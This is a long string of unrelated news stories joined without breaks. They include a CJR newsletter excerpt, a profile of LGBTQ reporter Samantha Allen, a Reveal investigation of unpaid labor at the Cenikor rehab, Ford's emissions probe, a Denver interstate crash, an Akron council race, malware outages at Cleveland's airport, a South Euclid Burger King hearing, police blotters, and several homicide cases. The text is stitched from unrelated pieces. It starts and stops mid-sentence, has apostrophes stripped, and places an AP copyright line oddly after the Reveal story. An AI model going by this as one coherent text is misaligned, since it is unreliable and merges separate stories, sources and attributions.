there will be no jamChuck Leavell, the Rolling Stones keyboardist who hosts it, has a prior engagement. Last year, Kayla Randall reported for CJR from the White House Correspondents Jam, an invite-only WHCD-weekend event that has showcased the bands of journalists like Lester Holt and David Remnick. This year, The Washington Posts Emily Heil and Helena Andrews-Dyer report, there will be no jamChuck Leavell, the Rolling Stones keyboardist who hosts it, has a prior engagement. A play area for children: Sanders held a first formal White House press briefing in 46 days yesterday. It was kids only, and she still tried to keep it off the record. (The Associated Press and other outlets refused those terms.) At the end of the briefing, held in honor of Take Our Daughters and Sons to Work Day, one (adult) journalist shouted, Sarah, when will you brief for the real reporters? Other notable stories: ICYMI: Dont rely on the coverage. Read the Mueller report. Correction: A previous version of this post said that CJRs Karen K. Ho found that less than half the money raised at the 2016 WHCD had been spent on scholarships. Her findings were for 2017, not 2016. The post has been updated. Has America ever needed a media watchdog more than now? Help us by joining CJR today Jon Allsop is a freelance journalist whose work has appeared in the New York Review of Books, Foreign Policy, and The Nation, among other outlets. He writes CJRs newsletter The Media Today. Find him on Twitter @Jon_Allsop. Samantha Allen, Americas premier chronicler of LGBTQ life in red states, chooses to meet me at Hamburger Marys in West Hollywooda gay themed burger chain committed to queering Americana. Known for its drag bingo nights, it serves the aesthetic of 50s diner culture with a mascara-soaked wink. The reason is less than symbolic. Shes very hungry. Allen, a national reporter for The Daily Beast, was in town for a panel at the Los Angeles Festival of Books. The following morning she was headed to Georgia to tell students at Emory College about her travels from the Mormon heartland of Provo, Utah, to thriving queer enclaves in Eureka Springs, Arkansas, and Johnson City, Tennessee. ICYMI: How an LGBTQ news site has survived 16 years in digital media Her book, Real Queer America, published in March, details a six-week road trip Allen took with a friend to profile LGBTQ lives away from the coasts. Allen says the project was inspired by the trend that swept journalism after Donald Trumps surprise victory in the 2016 election of going to Ohio and profiling Trump voters ad nauseum. I wanted to do the oppositeat least in the LGBTQ spacewhich was go to middle America and interview the people who are going to one day stop Trumpism, not the people who brought it into existence, Allen says as she flips through the menu, which features on its cover a bosomy cartoon drag queen accepting an award on a red carpet as she holds a giant hamburger. Allen explains that the experience of writing Real Queer America showed her just how much of the LGBTQ community remains invisible in mainstream reporting. The highest concentration of queer and transgender people in the United States is not in New York or California but in the Southeast. Data collected in 2017 by the Williams Institute at the University of California, Los Angeles shows that 35 percent of LGBTQ Americans live in the south. Sign up for CJR 's daily email They certainly dont make up a third of coverage. When Allen visited WonderLust, the only gay bar in Jackson, Mississippi, locals still spoke of the time that a Washington Post reporter visited, in 2016, in hushed and reverent tones. Thats how infrequently national newsrooms get out to these places, Allen says. Much of that coverage, and sometimes even her own work, focuses on legislative threats. In recent weeks, she has reported on a proposed bill in Tennessee that would force the states Attorney General to defend school districts that pass discriminatory policies targeting transgender students and the failed attempt to ban anti-gay conversion therapy in Utah. This kind of coverage is critical in a divided political era, Allen says. But reductive reporting of queer communities in red states often pits people of faith against LGBTQ people, even though these groups frequently overlap. The percentage of LGBTQ churchgoers is significantly lower than the overall population, yet a 2015 Gallup poll found that more than half of queer and transgender individuals (59 percent) claim religious affiliation. Thirteen percent of LGBTQ respondents were evangelical, the second-largest religious group represented in the survey. This broad, diverse communitywhen it gets reported on by mediaoften has to be fit into these very constraining boxes, Allen claims. When our reporting is so focused on legislation, we position anti-LGBTQ groups on one side and then LGBTQ rights groups on the other side. When you get away from that and get into more textured, granular reporting of LGBTQ life, it gets more complicated. What we miss, she says, are the quiet advances that so-called flyover country has made in the past few decades. Although Florida, which went for Donald Trump in 2016, has yet to ban conversion therapy at the statewide level, it leads the nation in passing local ordinances prohibiting pray the gay away treatments. To date, 20 cities and counties in Florida have outlawed programs that claim to change ones sexual orientation. Ohio, another Trump state, comes in second on the list, with six. In 2015, Cincinnati became the first city in the US to pass a law prohibiting conversion therapy. Allen writes in Real Queer America that the dominant narrative of the 20th century was a gay boy in the country buying a one-way bus ticket to the Big Apple. But the America of today confounds that narrative. The state of New York didnt ban conversion therapy until this January. Of the six governors who have signed laws outlawing the practice, all six were Republicans. While visiting Bloomington, Indiana, Allen spoke with Rachael Jones, an insurance agent whountil recentlyserved as the proprietor of a local cafe. When the coffeehouse opened, in 2008, its existence was a matter of necessity: Jones couldnt find a job in central Indiana, a fact she attributed to her identity as an out transgender woman. She took a loan from a friend to start the cafe because she felt that she didnt have any other options. Before the cafe closed, in 2015, it had developed into a mainstay among students at nearby Indiana University, who would bring their books to study between classes. It even inspired a play about Joness life. Having watched her community change so much so quickly, she asked Allen to take note: Life is so much better for me now, she said. People need to know that. On a deeper level, Allen says that readers miss not just the existence of LGBTQ communities in red states, but the vibrancy, the support, and the solidarity that theyve built in these places that are still stereotyped as hostile or inhospitable. She adds, We miss almost everything. RELATED: Surviving the boom and bust of queer media Correction: A previous version of this story cited a study from the Williams Institute at the University of California, Los Angeles as saying that 35 percent of LGBTQ Americans live in Alabama and Georgia. The study said, in fact, that that figure applied to the south in general. Has America ever needed a media watchdog more than now? Help us by joining CJR today Nico Lang is an award-winning reporter, essayist, and editor. His work has been featured in The New York Times, Rolling Stone, Esquire and others. Follow him on Twitter @nico_lang. A nationally renowned drug rehab program in Texas and Louisiana has sent patients struggling with addiction to work for free for some of the biggest companies in America, likely in violation of federal labor law. The Cenikor Foundation has dispatched tens of thousands of patients to work without pay at more than 300 for-profit companies over the years. In the name of rehabilitation, patients have moved boxes in a sweltering warehouse for Walmart, built an oil platform for Shell and worked at an Exxon refinery along the Mississippi River. Its like the closest thing to slavery, said Logan Tullier, a former Cenikor participant who worked 10 hours per day at oil refineries, laying steel rebar in 115-degree heat. We were making them all the money. Cenikors success is built on a simple idea: that work helps people recover from addiction. All participants have to do is surrender their pay to cover the costs of the two-year program. But the constant work leaves little time for counseling or treatment, transforming the rehab into little more than a cheap and expendable labor pool for private companies, an investigation by Reveal from The Center for Investigative Reporting has found. At some job sites, participants lacked proper supervision, safety equipment and training, leading to routine injuries. Over the last decade, nearly two dozen Cenikor workers have been seriously injured or maimed on the job, according to hundreds of pages of lawsuits, workers compensation records and interviews with former staff. One worker died from his on-the-job injuries in 1995. Labor experts say Cenikors entire business model might be illegal under federal labor law. The Fair Labor Standards Act requires all employees to be paid minimum wage and overtime. They have to look at a different way to run their business operation other than merely absconding with the workers wages, Michael Hancock, a former Department of Labor official, said when presented with Reveals findings. Theyre being preyed upon. An ongoing Reveal investigation has exposed how many drug rehabs across America have become little more than lucrative work camps for private industry. Patients have slaughtered chickens on speeding assembly lines in Oklahoma and cared for residents at assisted living facilities in North Carolina. Among these programs, Cenikor stands out. It has a long history of accolades from sitting lawmakers and judges and even former President Ronald Reagan. Last year, the Texas-based nonprofit earned more than $7 million from work contracts alone, making it one of the largest and most lucrative work-based rehabs in the country. Bill Bailey, who as Cenikors chief executive officer earned more than $400,000 in 2017, repeatedly declined requests for comment. But in a statement, Cenikor officials said the work provides a career path for clients to be hired by companies who traditionally do not hire those with felony convictions, allowing them to return to a life of being a responsible, contributing member of society. They said they follow all state and federal laws. Many Cenikor participants work for a network of subcontractors that then dispatch them to the major companies. Walmart said it found Cenikors labor arrangement troubling and pledged to investigate. Our expectations are that all of our vendors follow both the applicable laws and regulations as well as our standards for suppliers, Walmart said in a statement. Exxon declined to answer specific questions, but in a statement said the company contractually requires all of our suppliers to comply with all applicable environmental, health, safety and labor laws for themselves and their subcontractors. Shell did not respond to requests for comment. Many participants said Cenikor saved their lives and equipped them for success. After 18 months in the program, participants can become eligible to receive wages and graduate with jobs, a car and the tools to build a promising life. But fewer than 8 percent of people who enter Cenikor make it to graduation, according to the programs own numbers, and therefore never receive a paying job. It was just a money racket, said former Cenikor patient Alester Williams, who checked himself in to Cenikor for help quitting alcohol and cocaine. That place was all about manipulation and greed. Cenikor patients and staff said work came before everything else. Staff routinely canceled doctors and legal appointments in favor of sending patients to work, records show . Working up to 80 hours per week left little time for counseling, therapy or sleep. Like many participants, Ethan Ewers was ordered to complete Cenikor by a Texas judge after failing a drug test while on probation. Once he arrived, he said he worked 43 days straight in a sweltering warehouse unloading cargo containers for Walmart. One day in 2016, when he was bone tired and on the brink of relapsing, he finally snapped. I said, `You need to give me a day off because I cant do this anymore, Ewers told Cenikor brass. It was absolutely ridiculous. Multiple former staff members told Reveal that counselors routinely falsified counseling records to make it appear as though patients received more counseling than they did. During busy work seasons, some received no counseling at all. Peggy Billeaudeau, who was the clinical director at Cenikors Baton Rouge facility from 2015 to 2016, said she got so fed up with the excessive work that she and her staff launched their own investigation. They pored over patient timesheets and painstakingly entered the hours into a spreadsheet. Billeaudeau discovered that many Cenikor patients were working 80-hour weeks and rarely received counseling. She presented the evidence to top Cenikor officials at a staff meeting. It was kind of like, `Peggy, dont touch that with a 10-foot pole, she recalled. It was about the money. Get the money. Some rehab staff have a financial incentive to work participants harder and longer, according to interviews. Former vocational services managers, who secured outside job contracts, said the more money they brought in, the larger their bonuses. Cenikor managers had a compelling sales pitch. They promised companies cheap workers who were drug tested and always on time. Cenikor would pay for transportation and cover the costs of insurance. We tended to charge less than the temp agencies because of the demographics, said Stephanie Collins, a former vocational services manager. We were competitive. Patients, meanwhile, make nothing. They are told that their paychecks will be used to offset the cost of the program. Federal labor law allows Cenikor to deduct the costs of food, lodging and certain other expenses. But according to interviews and records obtained by Reveal, Cenikor typically brings in far more money from work contracts than it spends on patients. Food stamps cover meal costs for all Cenikor participants, and in Louisiana, many are signed up for Medicaid to pay for counseling and medical care. Internal financial ledgers from the programs Baton Rouge facility show that in 2016 and 2017, Cenikors job contracts regularly delivered more than twice as much money as its daily operating expenses. At minimum, labor experts say this means Cenikor patients should see at least some of the pay from their work. I cant fathom this being legitimate, said John Meek, a former Department of Labor wage and hour investigator. That math is just against it. Despite its reliance on work, Cenikor frequently has skimped on providing safety training or giving participants basic protective gear, such as steel-toed boots and harnesses. In 2016, David Dupuis and other Cenikor participants went to work for a company cleaning up flooded homes filled with black mold and raw sewage. While regular employees got protective equipment such as masks and boots, Dupuis said Cenikor workers got nothing. They didnt give us any protective equipment at all, he recalled, adding that workers frequently caught staph infections. It was extremely hazardous. In 2018, Cenikor sent Matthew Oates to a private residence in Baton Rouge to trim trees without a safety harness, helmet or rope. As he teetered on a ladder 20 feet in the air, Oates lost his balance and tumbled from the tree. The fall broke his back. Youre wondering if youre going to be crippled, you know, youre going to be in pain for the rest of your life, Oates said. You know, whats going to happen to me? Am I going to be able to work again? Oates said his back still causes him severe pain and he regularly sees a chiropractor. Cenikor has been warned repeatedly to make sure participants are safe on the job. After a Cenikor worker plummeted from an unstable platform and died in an office supply warehouse in 1995, federal labor officials told Cenikor that ensuring patient safety was paramount. Cenikor officials should take more of (an) active role in providing quality training and recognize hazards associated with the job, officials with the Occupational Safety and Health Administration wrote. But injuries have continued to rack up. In recent years, a Cenikor worker crushed his hands in an industrial press, another worker fell off scaffolding and shattered his knee at a chemical plant, and at least two workers broke their backs. In Texas, Cenikor is not required to report on-the-job injuries to rehab regulators. But when officials with the Texas Health and Human Services Commission learned about the injuries from Reveal, a spokeswoman said the agency was concerned about any injuries sustained to clients and planned to investigate further. In Louisiana, state law requires Cenikor to report injuries, but Cenikor has not submitted a single injury report to the Louisiana Department of Health in the last three years, even though Reveal uncovered numerous injuries during that time. Licensing officials said they would investigate the injuries if a patient complained about them. The federal Department of Labor had the opportunity to crack down on Cenikors labor abuses more than 20 years ago. In 1994, Cenikor participant Loren Simonis graduated from the program and immediately filed a complaint with the wage and hour office, alleging violations of the Fair Labor Standards Act. Under federal law, workers are entitled to minimum wage and overtime for their work. The Supreme Court ruled in 1985 that working for free in a nonprofit even one with a rehabilitative purpose was a violation of federal labor law. Cenikor can deduct the cost of room and board, but it cannot keep all of participants wages, former labor officials told Reveal. But the Department of Labor declined to investigate Simonis complaint, according to records obtained by Reveal. Simonis got tired of waiting and filed a lawsuit against Cenikor, claiming unpaid wages. He eventually settled for an undisclosed sum. Labor officials declined to comment on the departments 1994 decision and refused to answer questions about whether investigators would look into Cenikor for wage violations. A department spokesman said the agency takes all complaints of worker safety and health hazards and violations seriously. Today, Simonis lives in Oregon with his wife and kids and runs his own screen-printing shop. Ive turned my life around, he said. I dont think Cenikor had anything to do with it. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. The U.S. Justice Department has opened a criminal investigation into Ford Motor Co.s emissions certification process, intensifying an issue the automaker disclosed two months ago. The government notified the company of its investigation earlier this month, Kim Pittel, group vice president of sustainability, environment and safety engineering, said Friday in a statement. Ford said in a regulatory filing that it is cooperating with all government agencies. The probe makes Ford at least the third major automaker to fall under U.S. federal investigation over emissions in the span of a few years. Volkswagen AG paid a $4.3 billion penalty in 2017 for misleading regulators and customers about its diesel engines emissions. Fiat Chrysler Automobiles NV, which last month recalled almost 863,000 vehicles that violate pollution standards, faces an ongoing criminal probe, Bloomberg News has reported. Ford said in February that it may have taken a flawed approach to calculating the effect of aerodynamic drag and tire friction on the fuel economy of its vehicles outside of testing labs. It hired a company earlier this year to help conduct an investigation that could stretch into the summer. Ford shares shrugged off the disclosure following a better-than-expected earnings report Thursday. The stock was up 10 percent to $10.36 as of 11:01 a.m. Friday in New York after climbing as much as 11 percent earlier. The U.S. Environmental Protection Agency referred questions to the Justice Department, which declined to comment. The government can conduct investigations that are civil or criminal. It chooses criminal when it thinks it may find evidence that the company intentionally violated the law, said Erik Gordon, a professor at the University of Michigans Ross School of Business. Ford discovered potential flaws in how it calculated key data used to determine new-vehicle fuel economy ratings and tailpipe pollution levels. Its unclear whether the problems Ford discovered led to inaccurate mileage ratings. When Ford disclosed the issue in February, the automaker said theres been no determination that this affects Fords fuel economy labels or emissions certifications. Our focus is on completing our investigation and a thorough technical review of this matter and cooperating with government and regulatory agencies, Pittel said Friday. The investigation doesnt involve the use of so-called defeat devices that VW was found to be using to game emissions testing, he said. Ford has had fuel-economy issues before. It restated ratings on six models, including the Fiesta, C-Max and Fusion hybrid cars, in 2014 and cut checks for as much as $1,050 to more than 200,000 owners to compensate for their vehicles mileage shortcomings. Hyundai Motor Co. and Kia Motors Corp. in 2014 were hit with a $100 million civil penalty after selling roughly 1.2 million vehicles with inflated fuel economy ratings. The inaccurate ratings stemmed from faulty procedures used by the companies to calculate road-load forces. Police have charged a truck driver with vehicular homicide after he triggered a fiery multi-vehicle crash that killed a still unknown number of motorists, some of whom remain in the wreckage on an interstate near Denver, authorities said on Friday. The crash on Thursday afternoon turned a stretch of Interstate 70, a major east-west highway, into a raging inferno that involved at least 28 vehicles and may have damaged the road surface and an overpass, authorities said. A day after the crash, the death toll remains at multiple as responders and investigators inspect the burned-out vehicles, Lakewood, Colorado, police spokesman Ty Countryman told reporters. Were just saying multiple at this time, he said, adding that six people were taken to hospitals. Asked whether there were still any bodies at the crash site, Countryman said, Unfortunately, yes, there are. Police said the chain-reaction crash started when a tractor-trailer truck collided with slower traffic on the highway. The driver, who was injured in the crash, but not seriously, was taken into custody after police determined they had sufficient cause to bring multiple counts of vehicular homicide against him, Countryman said. There was no indication that the driver, who was not immediately identified, intentionally caused the crash, Countryman said, adding that at this time theres no evidence of drugs or alcohol. Despite the criminal charges, Countryman said investigators were also trying the determine if the trucks brakes failed. The stretch of Interstate 70, which runs through Denver west into the Rocky Mountains, will remain closed in both directions at least until sometime on Saturday, state Department of Transportation Chief Engineer Josh Laipply told reporters. Parts of the highway will need to be resurfaced and, while a preliminary check shows that a bridge over the crash site was undamaged, it will need a full safety inspection, Laipply said. AKRON, Ohio Union leader Jack Hefner is challenging Akron City Council member Zack Milkovich in the May 7 Democratic primary election for Ward 10. Hefner, 65, said his inspiration to enter the race stems from his brief tenure as Ward 10 councilman four years ago. He was appointed to council to fill the vacancy created in 2015, when Councilman Garry Moneypenny became mayor following Don Plusquellics resignation. But he failed to retain the seat in the November 2015 general election. "A lot of people in the ward were getting ahold of me, telling me that the six months I had the job, I got a lot accomplished, Hefner told cleveland.com Friday. I really wasnt going to do it because Im really not into all the campaigning and all that. I like doing the job, but I know thats all part of getting the job, you have to campaign. In addition to Hefner and Milkovich, activist Sharon Connor is vying for the Democratic nomination. Amy Allen is seeking the Republican nomination in the Ward 10 primary. Hefner, who has worked at Maxion Wheels for 32 years and has been president of United Steelworkers Local 2 for 12 years, was defeated in November 2015 by former state Rep. Milkovich. During his time on council, Hefner said he increased the number of streetlights, addressed street-parking concerns and demolished abandoned properties in the Goodyear Heights neighborhood. A lot of those places are empty or theyre not managed right, the lifelong Ward 10 resident said. I was able to get several, in just six months, demolished. I was working with the city to get absentee landlords to get their people to take better care of their properties, mow their grass on a regular basis and that kind of stuff. If elected, Hefner said he would address vacant buildings as a way to boost the citys population and improve the quality of life for residents. They keep saying they want people to move into the city and move into our wards, he said. Well you dont need very many foreclosed properties or absentee landlords renting to people that dont take care of their property. You only need one on a block to make the whole block look bad. He also wishes to see improvements to the citys streets. The streets are terrible and everybody knows it, Hefner said, adding that they are an issue across Ohio. I would hope to work with City Hall to make sure that were monitoring what streets are being done and how fast its taking to get them done, and if there happens to be some problems with that, working with them to maybe make that go smoother. Hefners biggest priority would be to improve the appearance of our ward, he said. Make it look attractive for people to actually want to move here and stay here. Hefner said his 35 years as a union officer give him an advantage when it comes to working with different city departments. The city deals with the fire union, the police union, the city employees unions, he said. Ive got a very extensive background in contract negotiations, arbitration, appearing before every board there is: workers compensation, civil rights. It could do nothing but help. CLEVELAND, Ohio The city of Cleveland acknowledged Friday that malware caused a malfunction of the computer system for the flight and baggage information boards and the airports email. But in a statement, Mayor Frank Jacksons administration did not equate the presence of the malware as hacking and that the episode did not involve any ransom demands. On April 21, malware was discovered on several Cleveland Hopkins International Airport computing systems. As a result, the Flight Information Display, Baggage Information Display and email systems were impacted, the statement said. These systems were not accessed by any unauthorized personnel (hacked) and there were no ransom demands. The city first reported Monday that the systems were malfunctioning at the city owned airport. The boards remained off-line on Friday, five days later. The problems have not had an impact on flights or airport security, according to the city. The airport deployed extra staff to help travelers find their flights and locate baggage after arriving in Cleveland. Prior to Fridays statement, the administration had declined to provide any details on what caused the outages or whether any foul play was suspected. Three sources in a position to know had told cleveland.com that hackers had infected the info boards as well as the airports email system. The FBI confirmed earlier this week that it was called by the city and that it is cooperating in the assessment of the problems. SOUTH EUCLID, Ohio -- Representatives of Carrols Corp. brought before the citys Planning Commission Thursday (April 25) a new plan for a Burger King, complete with a drive-through, that it is seeking to build at the front of Marcs Plaza. Just over a year ago, City Council followed the Planning Commission in turning down a plan for a Burger King to be built in the grassy area in front of Marcs, at 4525 Mayfield Road. Council members believed the design did not fit in with the citys wishes to create a more pedestrian-friendly atmosphere, and did not like the fact that a drive-through lane would wrap around the building, onto the Mayfield Road side of the building. To help solve the problem, plans called for a wall to be built to shield the restaurant and drive-through lane from the street. After the city turned down the plans, DeVille Development, of Canton, which built Marcs Plaza, took the matter to court. It was agreed that new plans would be devised so that the review process could begin anew. Engineer Gary Rouse, of GBC Design Inc., presented new plans Thursday with several changes from a year ago. Under the new plans, the Burger King building, at 3,200 square feet, would be built just 10 feet from Mayfield Road. The drive-through window would be located at the back of the building, facing the Marcs building. The front of the Burger King building would face Mayfield Road, unlike last years plan, which had the front facing east. Two lanes would initially lead to the drive-through at the back of the Burger King property in the Marcs Plaza lot, then merge into one as drivers approach the payment window. The plan shown Thursday had traffic entering from Mayfield Road, then making a left turn within the lot at the back of the Burger King property in order to enter the drive-through. Carrols Corp. Construction Manager Bob Storie, however, said that a residents suggestion to make traffic pull further into the lot before looping around toward the drive-through in order to avoid a jam-up of cars would be considered when further revised plans are shown. The wall separating the building from Mayfield Road in the initial plan has been eliminated from the new plan. The newly designed building would feature, Storie said, a stone tower of approximately 23 feet in height at the back end, and a stone entrance. The building would largely be made of brick and concrete board. Burger Kings business is 70 percent drive-through, so its very important to them, engineer Gary Rouse told the commission of the need for a drive-through. The Burger King would include nine parking spaces, and share nearby common parking with the rest of the Marcs Plaza tenants. Rouse said that no traffic study would be performed to learn of the restaurants affect on the area. We are trying to be sensitive to the community, but also sensitive to our needs, as well, Rouse said of the new plan. After commission members had their questions answered, Chairperson Ashley King said: We will not be making our (commissions) decision tonight. We will discuss and make a decision at our next meeting. That meeting will take place at 7 p.m. May 9 at City Hall. About 15 people attended Thursdays Planning Commission meeting at the South Euclid Community Center, 1370 Victory Drive, which also served as a public meeting for residents to express their views on the project. We want to improve South Euclid, resident Madelyn Pollack told those present. Another burger place is the last thing we need. Pollack went on to ask the representatives, Why do you have to mess up our one piece of grass? Resident Wendy Miller said the Burger King should be further considered because the city is in need of tax money, while Norma Drives Inez Henry asked, How is this going to affect the wonderful plans that were presented in January? Henry was talking about the YARD & Company plans presented earlier this year in which the Cincinnati planning firm told South Euclid of ways to make its downtown area at Mayfield and Green roads more vibrant and pedestrian friendly. Carol Fiorelli, who chairs the citys economic development corporation One South Euclids Revitalization Committee, had similar concerns. Fiorelli asked that the commission, in making its decision, keep in mind how the Burger King and its drive-through would fit with the YARD & Company plans. Is a drive-through a thing we want to see with how we want to revitalize our downtown district? she asked. Ward 3 Councilwoman Sara Continenza said she has spoken with several residents who are against the project. She read aloud email comments from some of those residents. We do not have one sit-down restaurant in South Euclid, except Bob Evans (at Cedar Center North), Continenza said. Thats what people want. She also noted that during (the) Marcs (stores) busy hours, theres already a lack of parking. The proposed Burger King would be located next door to Taco Bell and across the street from McDonalds, both of which have drive-throughs. As was the case a year ago, after the Planning Commission makes a recommendation, City Council will vote on final approval or disapproval of the plan. Read more news from the Sun Messenger here. BEREA, Ohio -- A Cleveland man, 19, was arrested April 21 after he beat up and injured a 19-year-old Middleburg Heights man in a West Bagley Road driveway. The Cleveland man -- along with a 20-year-old Brunswick woman and a 19-year-old Brook Park man -- had been visiting a friend on West Bagley in Berea early April 20. At about 4 a.m., the woman started a Facebook conversation with the Middleburg Heights man, inviting him to the Berea home. The Middleburg Heights man was suspicious. He and the woman had engaged in a brief sexual relationship in September 2018. The Cleveland man had been jealous of that relationship. Further, the Middleburg Heights man believed the woman was now dating the Brook Park man, and he wondered if the woman was setting him up for an assault. Nevertheless, the Middleburg Heights man drove to the West Bagley home, arriving at about 4:30 a.m. He looked for cars belonging to the Cleveland and Brook Park men but didnt see them, so he thought he was safe. The woman invited him inside the house and led him upstairs. Then the woman, without speaking, walked back downstairs. The man became suspicious, so he decided to leave. The Cleveland and Brook Park men appeared, and along with the woman, followed the Middleburg Heights man outside. The Cleveland man grabbed the Middleburg Heights man from behind and threw him to the ground. The two wrestled down the driveway and toward the tree lawn. When the victim tried to stand, the Cleveland man slammed his head into the driveway, causing the victims nose to bleed and possibly break. The Cleveland and Brook Park men forced the Middleburg Heights man to apologize for having sex with the woman in September and for accidentally injuring her ear and neck when he recently touched her new earring. The victim apologized and shook hands with the other two men. They invited him inside, but he declined and left. The victim sought medical treatment, then drove to the Berea Police Station to report the incident. Police visited the Brook Park man, who corroborated the victims story. They were unable to reach the woman by phone. On April 21, police invited the Cleveland man in for an interview. He didnt deny assaulting the Middleburg Heights man, saying he had wanted to fight him for a long time because he had slept with two of his ex-girlfriends. He said he didnt like the way the Middleburg Heights man treated women. Read more stories from the News Sun here. BROOK PARK, Ohio -- Failure to stop after a vehicle crash, Ohio 237: A Cleveland man, 38, was arrested after he drove from the scene of a vehicle crash that he caused on the Ohio 237 exit ramp onto Snow Road. The crash occurred at about 8:30 p.m. Sept. 29. The man drove his Hyundai Azera between two vehicles on the exit ramp. In the process, the Azera sideswiped both vehicles. The man then turned left onto Snow and drove away. Police said they waited more than six months to release the report to the public because detectives were investigating and trying to identity the driver. They said it took several months to analyze DNA taken from blood on the Azeras airbag. However, the crash report, dated Sept. 29, had already identified the driver. It wasnt clear whether the crash report was updated after Sept. 29. Adding to the confusion is that, according to one of the police reports, the man -- at an unspecified time and date -- sent his girlfriend to police to confess on his behalf. The girlfriend went to police after officers found the mans vehicle, although the report doesnt say where or when. It wasnt clear when the Cleveland man was arrested or if he was injured in the crash. Theft, West 150th Street: Cigarettes and $5 in cash were reported stolen at about 8:45 p.m. April 15 from an unlocked vehicle parked in a driveway. Theft, West 148th Street: A jacket and $3 in cash was reported stolen at about 5:30 p.m. April 16 from an unlocked vehicle parked in a driveway. Injury, Holland Road: A Brook Park police officer, part of a SWAT team, was injured at about 3:15 p.m. April 16 during an incident in Strongsville. A male suspect, wanted for domestic violence, had barricaded himself inside a Strongsville house. SWAT officers from several law enforcement agencies responded. The Brook Park officer injured his knee while scaling a fence. Afterward, he drove himself to a local emergency room for treatment. Operating a vehicle under the influence, West 130th Street: A Parma man, 37, was arrested at about 5:30 a.m. April 8 after police caught him driving drunk and/or under the influence of a drug on West 130th. Police had stopped the mans car because he was driving 62 mph in a 35 mph zone on West 130th. Criminal damaging, Remora Boulevard: Someone broke into a car and damaged the ignition in an apparent unsuccessful attempt to steal the vehicle, which was parked in a driveway. The incident was reported at 12:30 p.m. April 13. Read more stories from the News Sun here. NORTH RIDGEVILLE, Ohio -- Weapons while intoxicated, Gail Drive: On April 22, officers were dispatched to a residence in reference to a man causing a disturbance. The suspect was arrested and charged with using weapons while intoxicated and domestic violence (cause belief of imminent physical harm by threat or force). Lost property, Jaycox Road: On April 16, an employee reported the loss of a booklet of $1 lottery tickets. The loss was reported to the Ohio Lottery Commission. Drunken driving, Avon Belden Road: An officer witnessed a car travel left of center and nearly strike another vehicle on April 21. The officer turned around in an attempt to stop the vehicle. The driver reportedly passed out and the car came to a stop in a front yard. A Lorain woman was arrested and cited for operating a vehicle while intoxicated, excessive blood-alcohol content and marked lanes. She was released to a sober driver. Criminal damaging, Taylor Industrial Parkway: A Lorain woman reported two tires punctured while her car was parked at her workplace on April 16. Aggravated menacing, Interstate 480: On April 18, a man and a woman reported being threatened by a man. A Brunswick resident was charged with aggravated menacing in the incident. Theft, Center Ridge Road: A restaurant reported money missing from the safe on April 17. Menacing, Cambridge Drive: A resident reported in March 2019 that his family had been being harassed since August 2018 by a person with no connection to the family. The subject had come to his home and backed over his mailbox. Charge for menacing by stalking were signed against the suspect. Identity theft, Belton Drive: On April 12, a resident reported someone had gained access to his cell phone provider and had his number deactivated from his account. Fraud, Center Ridge Road: A bank reported a counterfeit bill deposited by a local business on April 16. Officers followed up with the companys management, who did not know when the bill was obtained. Fraud, Ronald Drive: A resident reported misuse of credit cards on April 17. If you would like to discuss the police blotter, please visit our crime and courts comments page. Read more news from the Sun Sentinel here. CLEVELAND, Ohio -- Jury selection began Friday in the trial of a man accused of fatally stabbing his former prison pen-pals in their Parma Heights home in May 2017, then leaving their bodies behind as he carried out more crimes. Thomas Knuff, 44, faces the death penalty if a jury convicts him of the most serious charges. He is currently being held on $50 million bond on charges including aggravated murder, conspiracy, offenses against a human corpse, aggravated burglary and robbery in the May 11 slayings of John Mann, 65, and Regina Capobianco, 50, at Manns home in the 6200 block of Nelwood Road, near Ackley Road. Prosecutors say Knuff also solicited two people to set fire to the bedroom where he left the couples bodies, and broke into two businesses in the days after the killings. Capobianco met Knuff through a prison pen-pal program while Knuff was serving a 12-year sentence on aggravated robbery and breaking and entering charges. The two wrote letters to each other for about 10 years, police said. Police said that Capobianco and Mann picked up Knuff from the Lorain Correctional Institution when Knuff was released from prison on April 11, 2017. They took him back to Manns home. Capobiancos sister reported her missing to Stark County authorities the next month, and investigators found Mann and Capobianco dead from the knife wounds on June 21, 2017. Knuff was also charged with escape after officials said they foiled a plot to escape from his jail cell within months of his arrest. Sheriffs department employees reported in December that they found fake sheriffs badges, a printout of a map, spools of thread and a blade fashioned out of a lens from a pair of eyeglasses and a homemade fanny pack inside of Knuffs cell. One of Knuffs lawyers, Craig Weintraub, disputed the seriousness of Knuffs plans, and said the items more resembled a Halloween costume than tools of a legitimate jailbreak. To comment on this story, please visit Fridays crime and courts comments page. CLEVELAND, Ohio -- A Cleveland woman accused of hindering an investigation after police say her 10-year-old son accidentally shot and killed his 1-year-old cousin turned herself in to authorities. Brittney McTier, 31, turned herself in Wednesday evening, the same day investigators obtained arrest warrants charging her with obstructing justice and endangering children, police said. McTier waived her right to a preliminary hearing when she appeared Friday in Cleveland Municipal Court, records say. Her case was bound over to a Cuyahoga County grand jury. She was released from custody after a judge gave her a personal bond, court records say. The 10-year-old boy who police say accidentally shot Isaiah Martin, his 1-year-old cousin, has not been charged in connection with the incident, police said Friday afternoon. Isaiah died from a gunshot wound to the head, according to court records and the Cuyahoga County Medical Examiner. His death was ruled a homicide. The shooting happened about 6 p.m. Saturday at McTiers home on Rexwood Road near East 143rd Street in the citys Lee-Seville neighborhood near the Garfield Heights border. McTier was not at home at the time of the shooting. The 10-year-old boy and the 1-year-old boys mother were inside the house when the shooting happened, according to police reports. McTier allowed someone else to bring the gun into her home, violating her duty to protect Isaiah, according to court records. She then hindered the police investigation into who owned the gun, and exactly what happened to the gun after the shooting, court records say. The 10-year-old boy was inside the home for about three hours after the shooting until police released him to his father. To comment on this story, visit Fridays crime and courts comments page. CLEVELAND, Ohio A Cleveland man was charged Friday in the killing of a woman who died almost two weeks after she was shot at a West Side apartment complex. Andrew L. Barker, 41, is charged with aggravated murder in the March 26 shooting that killed Ivette Gonzalez-Perez, according to court records. He is not in custody, but a warrant has been issued for his arrest. Gonzalez-Perez, 34, was admitted to MetroHealths intensive care unit after being shot in the neck at the Lake Avenue Commons apartment building on Lake Avenue near West 83rd Street. She died April 8 of injuries she suffered in the shooting, court records say. Barker used a long gun to fire a shot through an upstairs window at the apartment complex, police said. The bullet shattered the window, and shards of glass cut Gonzalez-Perezs daughter. The 14-year-old girl also received treatment at MetroHealth. Barker was charged with felonious assault the day after the shooting. Authorities filed the aggravated murder charges against him nearly three weeks after Gonzalez-Perez died. Witnesses said the shooting happened after several upstairs neighbors complained that their downstairs neighbors were playing music too loudly, police said. The upstairs neighbors banged on the door of a woman who lives on the floor below them. The woman called her sister and asked her to come to the 